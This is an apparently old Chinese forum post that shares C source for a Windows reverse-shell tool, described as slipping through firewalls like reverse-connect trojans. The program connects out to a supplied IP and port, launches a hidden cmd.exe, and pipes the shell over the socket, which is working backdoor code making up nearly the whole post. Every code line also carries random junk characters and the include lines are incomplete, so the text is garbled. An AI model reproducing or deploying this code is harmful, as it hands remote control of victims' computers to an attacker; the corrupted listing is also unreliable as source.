这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SWrTM
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/* ============================== [-\ Y?3
Rebound port in Windows NT @JGmOwZ
By wind,2006/7 m4m-JD|v
===============================*/ *duG/?>P
#include +iC:/CJL
#include b/_Zw^DPC
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#pragma comment(lib,"wsock32.lib") eDpi0htm
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void OutputShell(); r6FTpOF
SOCKET sClient; ;7\Fx8"s[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (m3hD)!+y
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void main(int argc,char **argv) PMP{|yEx"
{ Kxr{Nx
WSADATA stWsaData; 6Rfv3
int nRet; 0~U0s3
SOCKADDR_IN stSaiClient,stSaiServer; =%|`gZ
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if(argc != 3) :lai0>
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{ pwN2Nzski
printf("Useage:\n\rRebound DestIP DestPort\n"); d~8U1}dP
return; _\>y[e["p
} ]\yB,
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Kyh6QA^
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stSaiClient.sin_family = AF_INET; 04U|Frc
stSaiClient.sin_port = htons(0); `p\%ha!,w
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ()6%1zCO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4(\1z6?D
{ 6 :4GI
printf("Bind Socket Failed!\n"); "1s ]74
return; x[t?hl=:
} w5z]=dN
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stSaiServer.sin_family = AF_INET; k$v7@|Aw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S+06pj4Ie
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #w L(<nE
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) OyDoktz$)
{ <uIPv
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printf("Connect Error!"); q<\r}1Dm
return; }F1Asn
} No\#N/1@P
OutputShell(); cPIyD?c
} w8D8\`i!"
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void OutputShell() Oi?Q^ISxP
{ }|h-=T '
char szBuff[1024]; s;h`n$
SECURITY_ATTRIBUTES stSecurityAttributes; Yy
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OSVERSIONINFO stOsversionInfo; =x w:@(]{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5 n 4/}s
STARTUPINFO stStartupInfo; 5M\0t\uEn
char *szShell; h`fZ8|yw
PROCESS_INFORMATION stProcessInformation; /,7#%D
unsigned long lBytesRead; lJa-O
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Jur$O,u40l
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w8o?wx*
stSecurityAttributes.lpSecurityDescriptor = 0; b c
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stSecurityAttributes.bInheritHandle = TRUE; Q3lVx5G>4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @W+8z#xr'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;$a|4_U$m
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZbH6$2r
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ahd{f!
stStartupInfo.wShowWindow = SW_HIDE; yPbOiA*lHz
stStartupInfo.hStdInput = hReadPipe; J!rZskd
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Rpcnpo
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GetVersionEx(&stOsversionInfo); kH=~2rwm
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switch(stOsversionInfo.dwPlatformId) hy"p8j7_
{ VAxk?P0j6
case 1: QL(}k)dB
szShell = "command.com"; /?j^Qu
break; `Geq,
default: '.&,.E&{$
szShell = "cmd.exe"; Sdmynuv
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break; `0ju=FP'u5
} 1 _W5@)
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N~arxe(K
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send(sClient,szMsg,77,0); `|JQ)!Agx
while(1) EVmE{XlD;
{ :kI
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y+iuA@WCv
if(lBytesRead) >BQF<
{ Ll&5#q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =09j1:''<d
send(sClient,szBuff,lBytesRead,0); >-y&k^a=
} [76m gj!K
else ")M.p_b[Z=
{ /C8(cVNZ
lBytesRead=recv(sClient,szBuff,1024,0); "/XS3sv"s
if(lBytesRead<=0) break; Js#c9l{{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LRd,7P
} tT#Q`cB
} kAk,:a;P
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return; E.% F/mM
}